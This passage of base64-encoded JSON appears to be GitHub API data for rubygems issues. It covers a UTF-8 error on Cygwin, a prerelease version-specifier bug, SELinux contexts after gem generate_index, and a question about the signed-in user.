joiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTgwIiwiaWQiOjU5NTgyMjIwLCJudW1iZXIiOjExODAsInRpdGxlIjoiVVRGLTggc3RpbGwgZ2V0dGluZyBlcnJvciBvbiBDeWd3aW4gKHVuZGVyIFdpbmRvd3MpIiwidXNlciI6eyJsb2dpbiI6Im9ybGxlaXRlIiwiaWQiOjQwODU5MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDA4NTkxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vcmxsZWl0ZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL29ybGxlaXRlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3JsbGVpdGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3JsbGVpdGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3JsbGVpdGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29ybGxlaXRlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3JsbGVpdGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vcmxsZWl0ZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vcmxsZWl0ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29ybGxlaXRlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vcmxsZWl0ZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MywiY3JlYXRlZF9hdCI6IjIwMTUtMDMtMDNUMDE6Mzk6MTVaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjE6MTZaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkkgZ290IGl0IHdoZW4gSSB3YXMgZG9pbmcgbXkgZmlyc3QgY29tbWFuZCBvbiBnZW0gYWZ0ZXIgaW5zdGFsbGVkIGJ5ICdydWJ5IHNldHVwLnJiIGluc3RhbGwnXG5cbiQgZ2VtIHVwZGF0ZSAtLXN5c3RlbSAtLWJhY2t0cmFjZVxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoQXJndW1lbnRFcnJvcilcbiAgICBpbnZhbGlkIGJ5dGUgc2VxdWVuY2UgaW4gVVRGLThcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3JlZ2lzdHJ5LnJiOjE3MzppbiBgdHInXG4gICAgICAgIC91c3Ivc2hhcmUvcnVieS8yLjAuMC93aW4zMi9yZWdpc3RyeS5yYjoxNzM6aW5gaW5pdGlhbGl6ZSdcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3JlZ2lzdHJ5LnJiOjIzMTppbiBgZXhjZXB0aW9uJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvd2luMzIvcmVnaXN0cnkucmI6MjMxOmluYHJhaXNlJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvd2luMzIvcmVnaXN0cnkucmI6MjMxOmluIGBjaGVjaydcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3JlZ2lzdHJ5LnJiOjI4NDppbmBRdWVyeVZhbHVlJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvd2luMzIvcmVnaXN0cnkucmI6NTg3OmluIGByZWFkJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvd2luMzIvcmVnaXN0cnkucmI6NjM3OmluYHJlYWRfcydcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3Jlc29sdi5yYjo3MjppbiBgYmxvY2sgaW4gZ2V0X2luZm8nXG4gICAgICAgIC91c3Ivc2hhcmUvcnVieS8yLjAuMC93aW4zMi9yZWdpc3RyeS5yYjozODk6aW5gb3BlbidcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3JlZ2lzdHJ5LnJiOjQ5NjppbiBgb3BlbidcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3Jlc29sdi5yYjo2MjppbmBnZXRfaW5mbydcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3dpbjMyL3Jlc29sdi5yYjoyMDppbiBgZ2V0X3Jlc29sdl9pbmZvJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvcmVzb2x2LnJiOjkzODppbmBkZWZhdWx0X2NvbmZpZ19oYXNoJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvcmVzb2x2LnJiOjk1NTppbiBgYmxvY2sgaW4gbGF6eV9pbml0aWFsaXplJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvcmVzb2x2LnJiOjk0ODppbmBzeW5jaHJvbml6ZSdcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3Jlc29sdi5yYjo5NDg6aW4gYGxhenlfaW5pdGlhbGl6ZSdcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3Jlc29sdi5yYjozNTc6aW5gYmxvY2sgaW4gbGF6eV9pbml0aWFsaXplJ1xuICAgICAgICAvdXNyL3NoYXJlL3J1YnkvMi4wLjAvcmVzb2x2LnJiOjM1NTppbiBgc3luY2hyb25pemUnXG4gICAgICAgIC91c3Ivc2hhcmUvcnVieS8yLjAuMC9yZXNvbHYucmI6MzU1OmluYGxhenlfaW5pdGlhbGl6ZSdcbiAgICAgICAgL3Vzci9zaGFyZS9ydWJ5LzIuMC4wL3Jlc29sdi5yYjo1MDk6aW4gYGVhY2hfcmVzb3VyY2UnXG4gICAgICAgIC91c3Ivc2hhcmUvcnVieS8yLjAuMC9yZXNvbHYucmI6NDkwOmluYGdldHJlc291cmNlJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL3JlbW90ZV9mZXRjaGVyLnJiOjkyOmluIGBhcGlfZW5kcG9pbnQnXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvc291cmNlLnJiOjQ2OmluYGFwaV91cmknXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvc291cmNlLnJiOjE4MjppbiBgbG9hZF9zcGVjcydcbiAgICAgICAgL3Vzci9sb2NhbC9zaGFyZS9ydWJ5L3NpdGVfcnVieS9ydWJ5Z2Vtcy9zcGVjX2ZldGNoZXIucmI6MjYyOmluYHR1cGxlc19mb3InXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvc3BlY19mZXRjaGVyLnJiOjIyODppbiBgYmxvY2sgaW4gYXZhaWxhYmxlX3NwZWNzJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL3NvdXJjZV9saXN0LnJiOjk3OmluYGVhY2gnXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvc291cmNlX2xpc3QucmI6OTc6aW4gYGVhY2hfc291cmNlJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL3NwZWNfZmV0Y2hlci5yYjoyMjI6aW5gYXZhaWxhYmxlX3NwZWNzJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL3NwZWNfZmV0Y2hlci5yYjoxMDI6aW4gYHNlYXJjaF9mb3JfZGVwZW5kZW5jeSdcbiAgICAgICAgL3Vzci9sb2NhbC9zaGFyZS9ydWJ5L3NpdGVfcnVieS9ydWJ5Z2Vtcy9jb21tYW5kcy91cGRhdGVfY29tbWFuZC5yYjoxMTc6aW5gZmV0Y2hfcmVtb3RlX2dlbXMnXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvY29tbWFuZHMvdXBkYXRlX2NvbW1hbmQucmI6MTM5OmluIGBoaWdoZXN0X3JlbW90ZV92ZXJzaW9uJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL2NvbW1hbmRzL3VwZGF0ZV9jb21tYW5kLnJiOjI2NzppbmBibG9jayBpbiB3aGljaF90b191cGRhdGUnXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvY29tbWFuZHMvdXBkYXRlX2NvbW1hbmQucmI6MjYzOmluIGBlYWNoJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL2NvbW1hbmRzL3VwZGF0ZV9jb21tYW5kLnJiOjI2MzppbmB3aGljaF90b191cGRhdGUnXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvY29tbWFuZHMvdXBkYXRlX2NvbW1hbmQucmI6MTg5OmluIGBydWJ5Z2Vtc190YXJnZXRfdmVyc2lvbidcbiAgICAgICAgL3Vzci9sb2NhbC9zaGFyZS9ydWJ5L3NpdGVfcnVieS9ydWJ5Z2Vtcy9jb21tYW5kcy91cGRhdGVfY29tbWFuZC5yYjoyMzU6aW5gdXBkYXRlX3J1YnlnZW1zJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL2NvbW1hbmRzL3VwZGF0ZV9jb21tYW5kLnJiOjg4OmluIGBleGVjdXRlJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL2NvbW1hbmQucmI6MzA3OmluYGludm9rZV93aXRoX2J1aWxkX2FyZ3MnXG4gICAgICAgIC91c3IvbG9jYWwvc2hhcmUvcnVieS9zaXRlX3J1YnkvcnVieWdlbXMvY29tbWFuZF9tYW5hZ2VyLnJiOjE2ODppbiBgcHJvY2Vzc19hcmdzJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL2NvbW1hbmRfbWFuYWdlci5yYjoxMzg6aW5gcnVuJ1xuICAgICAgICAvdXNyL2xvY2FsL3NoYXJlL3J1Ynkvc2l0ZV9ydWJ5L3J1YnlnZW1zL2dlbV9ydW5uZXIucmI6NTQ6aW4gYHJ1bidcbiAgICAgICAgL3Vzci9iaW4vZ2VtOjIxOmluYDxtYWluPidcblxuSSBzYXcgdGhpcyAoaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84NjMgY2xvc2VkIHRvcGljKSwgbWF5YmUgcmVsYXRlZCBidXQgSSdtIHVzaW5nIHRoZSBsYXN0IHZlcnNpb24gb2YgaXQgKDIuNC42KSBhbmQgaXQgcGVyc2lzdHMuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNzIiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE3Mi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE3Mi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTcyL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTcyIiwiaWQiOjU3OTk3NDc5LCJudW1iZXIiOjExNzIsInRpdGxlIjoiVmVyc2lvbiNhcHByb3hpbWF0ZV9yZWNvbW1lbmRhdGlvbiBzdWdnZXN0cyBpbnZhbGlkIHNwZWNpZmllciBmb3IgcHJlcmVsZWFzZXMiLCJ1c2VyIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjIyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBBUEkiLCJuYW1lIjoiY2F0ZWdvcnk6IEFQSSIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNzg4MTAxMSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHJlYWR5IiwibmFtZSI6InN0YXR1czogcmVhZHkiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo0LCJjcmVhdGVkX2F0IjoiMjAxNS0wMi0xN1QyMzoxMDoyMVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMDoxMVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIiwiYm9keSI6IkEgYEdlbTo6VmVyc2lvbmAgb2JqZWN0IHJldHVybnMgYSBzcGVjaWZpZXIgc3RyaW5nIGZyb20gdGhlIGAjYXBwcm94aW1hdGVfcmVjb21tZW5kYXRpb25gIG1ldGhvZCwgYnV0IHdoZW4gdGhlIHZlcnNpb24gaW4gcXVlc3Rpb24gaXMgYSBwcmVyZWxlYXNlLCB0aGUgYXBwcm94aW1hdGVfcmVjb21tZW5kYXRpb24gcmVxdWlyZW1lbnQgY2Fubm90IGJlIHNhdGlzZmllZCBieSB0aGUgZ2VtIGl0c2VsZjpcblxuYGBgXG4+IHYgPSBHZW06OlZlcnNpb24ubmV3KFwiMS45LjAuZGV2XCIpXG49PiBHZW06OlZlcnNpb24ubmV3KFwiMS45LjAuZGV2XCIpXG4+IHYuYXBwcm94aW1hdGVfcmVjb21tZW5kYXRpb25cbj0+IFwifj4gMS45XCJcbj4gR2VtOjpSZXF1aXJlbWVudC5uZXcodi5hcHByb3hpbWF0ZV9yZWNvbW1lbmRhdGlvbikuc2F0aXNmaWVkX2J5Pyh2KVxuPT4gZmFsc2VcbmBgYFxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTU4IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNTgvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNTgvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE1OC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE1OCIsImlkIjo1NjA2NjQ5NiwibnVtYmVyIjoxMTU4LCJ0aXRsZSI6ImdlbSBnZW5lcmF0ZV9pbmRleCBhbmQgU0VMaW51eCIsInVzZXIiOnsibG9naW4iOiJqYWtlcm9iaW5zb24iLCJpZCI6NDkzNjYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS80OTM2NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pha2Vyb2JpbnNvbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2pha2Vyb2JpbnNvbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pha2Vyb2JpbnNvbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYWtlcm9iaW5zb24vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFrZXJvYmluc29uL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYWtlcm9iaW5zb24vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYWtlcm9iaW5zb24vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYWtlcm9iaW5zb24vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFrZXJvYmluc29uL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFrZXJvYmluc29uL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYWtlcm9iaW5zb24vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMzNTcxMjk2OSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGxhdGZvcm06JTIwbGludXgiLCJuYW1lIjoicGxhdGZvcm06IGxpbnV4IiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MywiY3JlYXRlZF9hdCI6IjIwMTUtMDEtMzBUMTg6MjA6MDJaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDMtMDNUMTc6MzY6MDBaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IldoZW4gcGVyZm9ybWluZyBhIGBnZW0gZ2VuZXJhdGVfaW5kZXhgIHRoZSBzZWN1cml0eSBjb250ZXh0IHJlbWFpbnMgYXMgYHVzZXJfdG1wX3RgLCByZXF1aXJpbmcgYSBuZWVkIHRvIHJ1biBgcmVzdG9yZWNvbmAgb24gdGhlIGZpbGUuXG5cbmJlZm9yZSBgcmVzdG9yZWNvbmA6XG5cbmBgYFxuIyBscyAtWiAvdmFyL3d3dy9nZW1zL3NwZWNzLjQuOC5neiBcbi1ydy1ydy1yLS0uIGdlbXNlcnZlciBnZW1zZXJ2ZXIgdW5jb25maW5lZF91Om9iamVjdF9yOnVzZXJfdG1wX3Q6czAgL3Zhci93d3cvZ2Vtcy9zcGVjcy40LjguZ3pcbmBgYFxuXG5hZnRlciBgcmVzdG9yZWNvbmA6XG5cbmBgYFxuIyBscyAtWiAvdmFyL3d3dy9nZW1zL3NwZWNzLjQuOC5neiBcbi1ydy1ydy1yLS0uIGdlbXNlcnZlciBnZW1zZXJ2ZXIgdW5jb25maW5lZF91Om9iamVjdF9yOmh0dHBkX3N5c19jb250ZW50X3Q6czAgL3Zhci93d3cvZ2Vtcy9zcGVjcy40LjguZ3pcbmBgYFxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTQ2IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNDYvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNDYvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE0Ni9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE0NiIsImlkIjo1NTAyMDM4NSwibnVtYmVyIjoxMTQ2LCJ0aXRsZSI6IklzIGl0IHBvc3NpYmxlIHRvIGdldCBjdXJyZW50IHNpZ25lZCBpbiB1c2VyIGhhbmRsZSIsInVzZXIiOnsibG9naW4iOiJ3YXRlcmxpbmsiLCJpZCI6NjA5MDQ2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS82MDkwNDY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dhdGVybGluayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3dhdGVybGluayIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dhdGVybGluay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YXRlcmxpbmsvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2F0ZXJsaW5rL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YXRlcmxpbmsvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YXRlcmxpbmsvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YXRlcmxpbmsvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2F0ZXJsaW5rL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2F0ZXJsaW5rL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93YXRlcmxpbmsvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZ